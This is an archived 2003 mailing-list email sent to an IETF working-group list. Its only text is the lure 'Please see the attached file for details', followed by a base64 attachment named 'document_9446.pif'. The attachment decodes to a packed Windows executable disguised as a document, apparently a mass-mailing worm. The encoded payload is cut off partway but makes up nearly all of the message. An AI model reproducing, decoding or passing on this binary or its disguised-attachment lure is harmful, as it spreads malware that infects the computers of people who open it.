From jutta@sendmail.com Fri Sep  5 20:52:39 2003
Received: from PC1 ([218.247.198.242])
	by qawoor.dbc.mtview.ca.us (8.12.9/8.12.9) with ESMTP id h863qYMQ021209
	for <beepwg@lists.beepcore.org>; Fri, 5 Sep 2003 20:52:35 -0700 (PDT)
Message-Id: <200309060352.h863qYMQ021209@qawoor.dbc.mtview.ca.us>
From: <jutta@sendmail.com>
To: <beepwg@lists.beepcore.org>
Date: Sat, 6 Sep 2003 11:52:31 +0800
X-MailScanner: Found to be clean
Importance: Normal
X-Mailer: Microsoft Outlook Express 6.00.2600.0000
X-MSMail-Priority: Normal
X-Priority: 3 (Normal)
MIME-Version: 1.0
Content-Type: multipart/mixed;
	boundary="_NextPart_000_002C8602"
Subject: [BEEPwg] Re: Re: My details
Sender: beepwg-admin@lists.beepcore.org
Errors-To: beepwg-admin@lists.beepcore.org
X-BeenThere: beepwg@lists.beepcore.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Help: <mailto:beepwg-request@lists.beepcore.org?subject=help>
List-Post: <mailto:beepwg@lists.beepcore.org>
List-Subscribe: <http://lists.beepcore.org/mailman/listinfo/beepwg>,
	<mailto:beepwg-request@lists.beepcore.org?subject=subscribe>
List-Id: Mailing list for the IETF's BEEP working group <beepwg.lists.beepcore.org>
List-Unsubscribe: <http://lists.beepcore.org/mailman/listinfo/beepwg>,
	<mailto:beepwg-request@lists.beepcore.org?subject=unsubscribe>
List-Archive: <http://lists.beepcore.org/pipermail/beepwg/>

This is a multipart message in MIME format

--_NextPart_000_002C8602
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit

Please see the attached file for details.
--_NextPart_000_002C8602
Content-Type: application/octet-stream;
	name="document_9446.pif"
Content-Transfer-Encoding: base64
Content-Disposition: attachment;
	filename="document_9446.pif"

TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAA4AAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1v
ZGUuDQ0KJAAAAAAAAADToEjPl8EmnJfBJpyXwSacFN0onI3BJpx/3iyc7cEmnMHeNZyawSacl8Em
nJTBJpyXwSecBsEmnPXeNZyawSacf94tnI3BJpxSaWNol8EmnAAAAAAAAAAAAAAAAAAAAABQRQAA
TAEEAF2zPz8AAAAAAAAAAOAADwELAQYAAAAAAABwAAAAAAAA1usBAAAQAAAAYAEAAABAAAAQAAAA
AgAABAAAAAAAAAAEAAAAAAAAAAAAAgAAEAAAF/EBAAIAAAAAABAAABAAAAAAEAAAEAAAAAAAABAA
AAAAAAAAAAAAAOLrAQCcAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAfuwBAAgAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAgAC5zaHJpbmsAAFABAAAQAAAAxAAAABAAAAAAAAAAAAAAAAAAAEAAAMAu
c2hyaW5rAAAwAAAAYAEAABIAAADUAAAAAAAAAAAAAAAAAABAAADALnNocmluawAAQAAAAJABAAAS
AAAA5gAAAAAAAAAAAAAAAAAAQAAAwC5zaHJpbmsAADAAAADQAQAAIgAAAPgAAAAAAAAAAAAAAAAA
AEAAAMAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACchVndAcNB3
L7IthuqUttkbaI5toW/Ma9cREwXJr2bGKxWUSLB1PIIaS01RbFxQRCXoVDbDEpq4Yumyi65HRdpM
3Ga7gyB6TAfZ9GeKPkz/gNdHfQo5WyK6kk3e3416A+3AKPhtFhKaSZkYxFj6+M2xbjOVSCpPharh
/VxSm4iVAk4yXUKq7H+ADGwboJC+fQm8+7jatvO6YUfFxxQOzfY8KTP4vt2InUxuuOl2cfiFELy0
IOsT73kycNOqH03/dY6FypJqffAfOkjFzUMhr8AqN9OCKt0p+TNW9bGP/Kp1XK6X4Iydu/Wy/xA0
A5Zpbl3Gl9/gKIkSvEhLlXfwGYKZSluuaTMQmbpJkKW7StxmyJ6O/fV9pclS8jV3oWub5MzdvI++
mMz3UMdA50acjuzsssWb5XknsOqtK2nhhDya2yRx3g+m84v73khc0k3eTce9rBtzSgflO9Df2PdF
TLLYFS/62962HytiMp2UFAkMMby4jWvloU8xsUAp/4Ws/jc55M/xh5mwSb7B5AtSX9luSglcmPun
VDvdKcYWznRbLRPadQ+V576YUs6FwBGGrYnr7cqYlLI9/9zwrfe9T0tMbFTdX2GmQfo7TrcECi9A
E4FKW8Xf1+6VPSywyFUB8p5WIK+9r8vGPrArUMoLVGGUE5fSoJD+lBC5F7no0NbMS8uCvwJE63mz
Ue83HBQ/ZZebwnFyAw28Q7HdqbesuEsMwzZ8rXY5sECSqEvV4ASt672pT5tM7Trvx/oeMN28Wuxm
b2hNug230joQTwW3+T+ddoDMjh0cB79ICk6OJGC51nji89835vsL2YS+2dN19sIr43AwpO/uoFkm
zyrLtskKndrZ6wRu0SXw+8FjB0wHUzm+cnBDUTxOuhclYnBPnss8CcpoGdo5Irpd0YvJggoecHOS
biRPiLYSClcpS5n3yXohrWL1z/W94x72F3O0ji5Xe//NZnBDZkX45NuPf2/d/JXA1f7XCo8is0xR
rzvrOYnfrr1pxDFCetHLOybka8fZJezgFrNUwaMR+YgTsaK7YCLSJhtXxN3cl0K80n5/nc7HQbAg
22OzUHWSshMG/0Z/Y3TrZQhe4dW+K+rLbVNPIAwvwLk5x5TTF9fsrDea9BXGevPQx/AKwsbdHZo1
fmYYRXzptJCrYTZ1zscYugWP+9RKTp83eAo9TPTEzkt+FCjJy5yPemVMRfAcizcv3LIAMoXoyx1z
BeGPq+IhWpbaGaq4NCBMbIoUBndrZmhrjupvFO8BkFak0zQgND1UxHxiI1OHuqLCOSjA3Hn7q0eY
tMn3ObnFuJm+oYofF6ByMXttsOjDO5klG+meUl8Wak2wrzvty/gAdPIn/YsmrMy4S3v4CHR+43Db
eGYh2EozOoYslK836wPYFAa6ND4wabPkhtOCKAlMZKETCO0qIMm/TqAI3IDAdRiMkuE8pUEl7syq
uxwNBiXv3HPYkgn14wcKpqUYqFwObltnwpphtfl3ZiNWVzuxW0btzfIU/nyQWcvXVfw3vNF1YwRR
ZzcV93VkjA6N3xZrXS8QtkFvFVA9j8BxPPxg/n1i7g1Ud1ZmmpCKoTpqUgzCduuGCVOM3SOvPZVH
65Fb3QYFoqrnk+di8KJxUkJka88hhnrX4AlJ+fAkVVX7Djbc76XppaiV2iQ4AUsJQqaN0V3Gz44v
Kprx0HznIQM2cuQjza+niG3gGd9EnEEcsmLDdyps/R1z7fY1hfKSldBL6YpOI6NnKR4TiC50Xi5s
6+YoGigu56UFH0mcXNS2PPyf9YyAKQQ5wKqZHFrwFSo1KnluEpGkx2RGvrOVQ01C80rIvOFX4typ
95KBd06Kex69ESo1fLtDjMrEmOdvZBBeadT/iRl5EhOaHYUX+KksIGLiwoP2/auIrE450UVTDrMB
fr8b9npYSrtGvnuSaC6TaXNCga7gOjzcAn6F63Urf4M+QmiwOlgAorb9kBkI4ckXJULP/JjCEhas
PEjjQ1ADfn5iC/RGA2I3Aq4fxiEwYP6F9RvliYW+HI/qnCIxmspmPfwxfmpaJZHKUO+jHBjQpvmu
VmPF3Lg7ZNgp8Z2iQcs0Mtv3r1w+trVBWA/10pcarXxDp+TlovxuPAfeo+deOdbYLlWQAnMhB0gK
t5+leBZaj6S5irNYkMZdpKp1fFdOCEQ2wPymCcDlX2Pz1H8Zn/+EFbAPgz2NE9Gm6tt04hRXWZTd
/fcfylstl4jIvCcpklKjmr0QrAausSBf/CVFyGM689kxCNwt6ztfg6m605RtJjBVjldAo6tEcn9v
S94c9eVe+zoJHicxw+HK1suwFwelmdxQ/aaK/b9OfLApf3X8PtZZ13uLJ8uYYyUBUV/xYDOeKD/Y
TYg45jEaa7EKGvkUwszJYGUwjTJWkCSxN9IbQBPZPwxmHINeoyVswne23sTxdaFYLOyc4Z2nKq+z
8LIRn3fZ3ZYiveem2x4vhzMOfPUyYSpzUE2gUaCMUs9MQvO1hws9T7HPVUnjbavF/0BJY0vze6Zp
cb07glgbql93EDNawSfXvJ8Q+i7J4ZvjqWXWWL4Zb2/+be/Y2yGlLKJ58IEag2wvy2RPqdkCItM1
k75xaVgRNsBHIf8plYto4ZchE88/spHH/7oMq37b3Dvq7EV2aLbTKf9I3is7fzY3KLsXNh16LsuR
kZm2aoeeIrBw7fLIEsf6N1CECeJ5WujAUuQD5GpGgeLjy8kS2OsKlohB7j/qKXbvOX4TfzeQ3z2E
m0yDog89VnXBRzU0HlQ/ZJbVcGbcjlVyFkY2LQyyRkDMwlhSrgoUVWFCwfvk0M1Q/gpsLTyTfupT
mVXSxmXeYAU7woYlP/b8ef0sUXqe9nWgz4M9ek9ya+r1is9ttRVPQHjKl1/osM5ysPf3MJjkLDiA
it9JzDV4QLbCgkZt/pdUJ+QIZwNJalcgiX2EiWeIzN0hFYYtnzCU0hNwZHA8tR2UwdTBQX4G5e2G
8OzIriwIVaw5vPAZoT1G0v+E7l6q9SMeQubUBRp2zVWwzPu47/Q4/KPmNU20Cab3VqdDph1mzrVl
VTAgEzCkBWWxtMTmESywR2WXoQMubDOuv/wXtA+PnYBv2Y5Quca7LaHEjAQuXF7BsnHaS2Ytuftj
d2ecYsi2WePyfzQjRLAR3exyIG03pLsj4IWB7lauVyamzXj4n65AJpbvCQXGokfcSgjVBDIQ7ok7
NwIsKZbEnwTvrsZB6Q3J0aHKLqOmdT4u+iAR8eiryxAPbkWmfjNu1ZRlXCMNqZY30TeB4WmTrLUl
Gcly5KYxwG4mFHl3X0GezHP8S/IUQwDQhkxkniJQKdjS27RvVwglmwhMaD03hcllw1Fs3fQZa5KV
aeqqio/m4IOBfAsyLJK/zITKXjvHZbKaOD0vTro7gqH2Ws1B7Wc1wbdtGYL8ot37r1Oy025blfL4
sXMIDEBOmO/vKEh/+fe07UiKkNks+RbrUKvS0hzsxkwLyigYVt+BsiRdAMLDIiQYz+UtSuQbhdRE
bRHOQ2w0ij7gZ3yFHNxX+invwi+I1I7jOhdpr1EiS2mHNw1NYEMAtkWM7GQm8Po6+Xh8BbCDeWn5
ZbPBvJM+Q0tenDXcWkNqNYqKoYsC/yedZer8VcGWa4OMFEiNf/Yv8pXe0FavIyR8uqvSvRQzw5De
G+Q1KASMq3ZQAQqQcBuihHUxS+H+Bha3xVtx1TzszusJzC4SykFouBLSROB2bviP0+SOHL6+rhX5
RSLxwtYBDB6FCv8ybBcS0zp9VU5of3K4BXuwyehTM0RI9IrSjVuwP94xfn0wgOjouKWzGXHVk3qg
gqG2MduW07HcG1rQm6RbIUBJUTBgNMlnuvDLelmgF4qBokRCoN8ejib2l/LeiqpYp+omGsjuMU9L
w1uVRaJndhlxwKBns+i8yoTqjsv4bHTGGhdMDismRG5oMejcuJBTUUJibYQzRln4Kv0MHllF3YQq
dYJsXIGFPzU5Xwgue21u4TZmxCnCA3Qc04fgtWhOnqItiyeST7glzJWM2heby8zzxTV1W+NswsNe
Wp2mOsgh/uX3sVPZdA2T2nIM4WKbjE4zJR1xu6yIj/mueC/lhVnD21a/AHyMs7jh3EGST76ogTDG
ueQOqgCJebReRZFmZ1jHKTaN1KudMVhhI9HzKSrlGHxhHahV50VQt4NaPk/KhjSfI3xRAOgNv3UC
/INw9B5YlHCRUB6n6oB8pMuOqEvPqKVWOe0uSWChojD+uA03nAYNtoSTzqsAc4Vr3tEMfre7lbwL
3LZwj7kauuh755rColi9BLXyNc8T2BLVoOPo7dhi4Z2YpAeySHS7K6UKhZl2NSt+tuEP2QOzSbG9
NLqUaXrt4BIRnr5nIVQEZjkIr1Tj0H70LP/3istp15vlDtUjYyIqVfBDyo1BeJ2Bs+LzdHroCeyK
LR/DUw0MF4zUEuLtmVl7ED5YuRoW24+s1+iDBNfOx9Ng9uHK0nkYusJ8Pus8OLZ1S78+aAXqh34R
nvOuJYHGgLyJj3fNrEUq99HL0hqHX/lztEZqPtV5KnJ8HLqZS+pDBD5DgLGqhF/qXeprrOuZSaQ/
VfgrNr82/Sc/2/Q8KF2QXM/gqlzHr7fTxzzvd/A29nHP+6eJJwzhuSrVFpOtT70u6rEE4c9uB7os
xF73/lStqHRPqJP6i8zbj01HeGLeUfgE+SGXpAjGBhhcWcOczyUXAt106wKTWm6zSc8i1lQLn2YO
2e+G9nL3uTGaznHPJxusQar46aL3zniOq8RvLrBH3vPV3Z506SuVm0l0LDxYPgM+S0ts2ok7mwdH
WaUYonDVvHZoU8UHESppjeMS6zzHuw2JTZNZNUXmksWvEPQMKa/2b+4zgUircy5A6Vqe2Rx7gTD5
na9U6SdtQR//oy+6GSuotsioImxlYMK25RcaMCm10H9dRw/xQqeSeVDNYsxcKYnUjOMBoF60emTv
n1uy5HAhdx81tfHF3P3ImpjII+jKeW6284DmBejoh6rrl0e8M3IwjS8PpQ9dfe7mcMO0L/jmKNhq
PvJK0FaPIWbeKZ+WXPzq9ZG0FU0KhVeSu9r1qehNnOOKi00r4nZE6df4iNeorq0szpDwI7Vqgzhh
x6IZL/hPY2KW4H7CVaPn6uxLSZH+v/oePM7VqM+jxoshhJD7AZr18ERldV22yifvLMdOqznYFdS6
k8dFmp0i31ZRlEaodBOm3EaebPktzvUijjh2BwMqlTn0XQ+rI5X7wMmPcnGhU5dX03LTxyfjUcFH
yVccyk6SVRxQpSrgWyJXELUTnfmPhOu+i8vqvKGi4IHkEXqgOiRrMMDhVHUYzMlL44f+d00guQUB
ufWhR1lkqnC1QzPiVVpEQxOxEodPvPNVKDx7IeumGTVy22FxbhDTtA36SIk4E9ecMydqY1dX896X
nPreJWavDfsLkaLn9KxpnjVN21kBZsy0f1OrAKSJH69PLT4N5TcH6K92vksmuSncaLDsSt2+9oj/
XUi4tJmdO9EJuTmhdIywV2OY7QpgJQ+yNvRbYzkxn3Fg0ZyQYcD264IBTTLqA1RG6Jq6W0GgAM0K
RutM6SIbsKoBUF5wzGtrj5wd2wMFDTDAbR1ZVAXJ4Sf05G7BxIWtncSYIX/D51je+ZUvxi0XrF2m
K4MRXGkB3dJuLRhgz27Bq2/tcxbXDPHHf0YusJj2CdD1MZrP0PpvPrAn7xaEVHcYVfA0iS2LexvO
SatfJ3gR9WWExeN/ZsniW4N6Jsm4RMu0Ht360ZkzgF1PeSkjdvUDwUxfMhUlSS1eovsqNtyrpXBX
N64yIWZitvZYZGyZWlfBgsBgTKOhp7O/KY8K/E5OdSQMlUt/nQFVMwxwi+2f73NRGm22Ojh4bV0j
IZ/VUvCf8amcDD1jIlTZmc1VK5psylUCcaypMPZ/4o8IY4E/UqwaruvYYArdLSJyjz+wrXH0sqCC
sU83qWm90IIxUmgZRvqVN+eobfl85iAKT2OCtlD0j1JciGtar0MhlfwJPdW5cprxZLeg5PMRA1GX
pMVJCPUuJ5cZyxbgbAOQu8XQjC09AmjAYODzfJN3Y0FSkrWSxls6DkhpCxKCYD/I9xFvZPg7PT2Q
HLcA8aFKlNl6nniNIlwM9IJosixup5Ti9Uct8F+sfigLHUvNXPoYFwAgCqIb7NKCFc4wpMb59CkZ
3JkSMkzc9SL8qrSdDMZPhWvrKjT9HN501to57te+eByEjIqOlEsMmiAtZ2FR8TZciwUfeLJk3z2V
0YcTXMdh8bDKpXmJ673morWGkA3aWuOuWCKwgFriKIOYY4MvFnIbUc5Uh/wzJOgTHvwpajfXdgAR
eWZDdCmShDQ+LH5gFVco8OOZ/O4Akq0tq+XzO5jdkqVm8/Z/x32oLqBYQXgS/Vno8f6rGM3XOfF3
MGTg62rRuNt35K7k7bkSMsYBWkl7SF2dRxtP4f6QRwW1zyPLb0a60uCYCs5skZK+8JjoNXyxVzay
IOLUqlYY3G0vr9Acdbc8SCa0QjNVpc7Y5Ko7TXAyuGFy9JYHs85dysGRKJTeTOO4aQ3Tc7iCDErR
DZxD6orYepC1ux12F6IZllvBILyyS271vA3t1ET9QP5bATSAK30TLcQjRla1kjuhZW9NCY7ujyiq
RzVAliZO8xA7gXLqdsOjObzQbt0o47dMG9i+g9ngnVoBuTc/E1CK3ECRBicJDU4zjuu5gJlgTk1v
SnZhBbVsQLhq14aV96Z5Ji3o/c19zzh5BckR1zHTVQhglqrdWA77i60MyebFtkvBbM8F4UdD+O0u
IDVcaHqTp4jvm7E1pDz3uXDgEexeHx2R4n65YpCrsgI/H39x6Jy42AeI0KHZUg5m0DENQngGfj/U
kC9u7RjmCLw9uri60G8uNRnkKTtP/ErjE5fD9PhVpsXrMkVzH0AtlFUbfEBRolxPGaG/Qy6i8VOn
iHyPf3r02z+o1WxWUKyH1qvW+okERm7p7sm50bSbeWrQJbN2zK1qlOMDjohuPsmOgZdemManchKA
Fsn6pdJWFWqES6zExeuvBfLWbe1mWDqcbKtT6Hc3bxanUjjmvSF+0JZzo3fVQdnryo8jx1RWjIZ7
evY+H7wrcNpN82pGJRGItNiH/8IGG0NHQDNOpRuCmsABpIp1tN7hMENmS1HrzJ4n4kZQb7nr2SZ+
kejRtY9OB/XcDPaP79rlbhKGiPvTu+Tvy1/JAkecpkN1C0qtkNjcHcZmTHJqrQ7Sasck+Ieg1sHI
9oNTVtT0ibEAehMS64o+duu4CetLMBwxMUGAKpbc3ZEC5YPtc0uBparQSpt6hZDo2U3FpraNQThm
02YEfJygK5zSgSL98Hun+xSth7kjGXpE6mc11D2ORna1y2CYfHBwhf6c1+YbAIi6xWEdOx1/ome+
CqvmNZerX8siRXyfZoh7Z33+crAtVs83khLDZUqWSx0smKJKgxMq+TuXa4d7kSAptiW8kgiLBRab
WA0mEkYkINmSQpNL3i9L3o9AJzb87D11JLeHRFOCVzs6iM5QhM+maLsgHaJXl7ykJh01Du6s7ZKy
MQBJstfxpYoPcC8WsKKMhqoZt29dD51YqxkTBk0RWmOSdu5wncEJcrN9dTNh40L1GQnW81MhSgUW
UAYfXpLUu12wR2DkMxoZdtlFqrFi1UZV+HuEbVYRhJ8ycGXnOC3r6MFam0Q73JXQIQCTcqNqUMMi
BQnFVhmtgEwPRYSQr1YK28U39d9neFI56Ooq+BQ+F5ExE4LksC7MpoA2FZeu1Sh55GRiB9B/PoQp
n7Pwf6Cs3lTo5uVXdkOZoOF8jfd6akiXie+T0mcp/XYAQhuhiwilqyE9AbMCj/L2zluY+MM4G8m8
bjov18/yqZXjPY2r6a54awXM3Yivu0ccQSCX/aWkJyVVarf9nEXn5d28KeoDtW6XyBekM/I5rjJ9
9B9aXgcEqtE3LD+9tm/rKMjixOt27HQ+6K7JSMJ0HbGaPzl/Ly1RHmyJ15yXWoETrlaSrO/+s3OE
/piwnFrBctQXChw0bPTE3QqFUtn1QwcHwqDItnBPmo78SkjEq6CeJKflOB53P86R/nNP4qPYiqkH
rQekIXb51g/y7jFVu7Tnk4zkA13aalDA8gs/ea7IVz5gdcDx1/0QVHHGZUzGLPJGMz8zgHJZ9am+
2wtF/7ZXPQtRQZhfYmloYyc7DGqVQ2huTWBNTJIS1OP8UrHhrl/uZTYROhajm8gmIWCUayoxNqRu
O+vT8GOn1R3hjCStALsnj8UvrXn5AHdZuFUvKZ5bc5lFpLiwTN7WB2I0goHVx4ALAQcdJBVAVWls
VPdd/d0txuf3tNVZRpA55EPwVxIDslBElFAhDMVChopTJSzp08Fz2NbSVqFiMAJ2KKPSteQT1FEL
MhsGz2eFpVVvFoqbudn/W6mRLeqDaXNhdUfOCdFN6Wxiod3VTia4402aE9F9S/oZfX++q8+LSW3/
9q3QKaEZ/Ot5iTiBDyiEveovrBD6lCTq8cBFEEn7D3U1IreiIk+bA3wa1i/uNi0jAdNGz/DXMLcQ
1YHBx2eG4/5n3FBbzNKCeQVuz0H38L/eRxjlEOmKe3LMIAAcH3oKd93t2Exdk5abliOK6TKREOPo
ZcE5bJ6tJGAJMKyxuOqEZKPSvZGn7eeO6CPBJCTZruQGtZpClKPn5USRrfn0O1wps6JdX7dX9VVH
qds/H/GAsAk0iNrnamkXKTlKw6aKOKm4ZZjaBQjY0jHResS5XNDQNiahV0So93JoQo2n/Tu6azR7
PycL31rVC5altYOWYFLRPl86xejlj4BV1IF4eJ7/4nkRAecPHMIFcYDdsKcqTYuPFyqsbQ15z8q0
9QfGTFwzmf7nJpiaq9o2WXpgdE7vAMajX+YiYt/hK5qxobjThPlE4snnyUUhAVGiErKur/qi4eX3
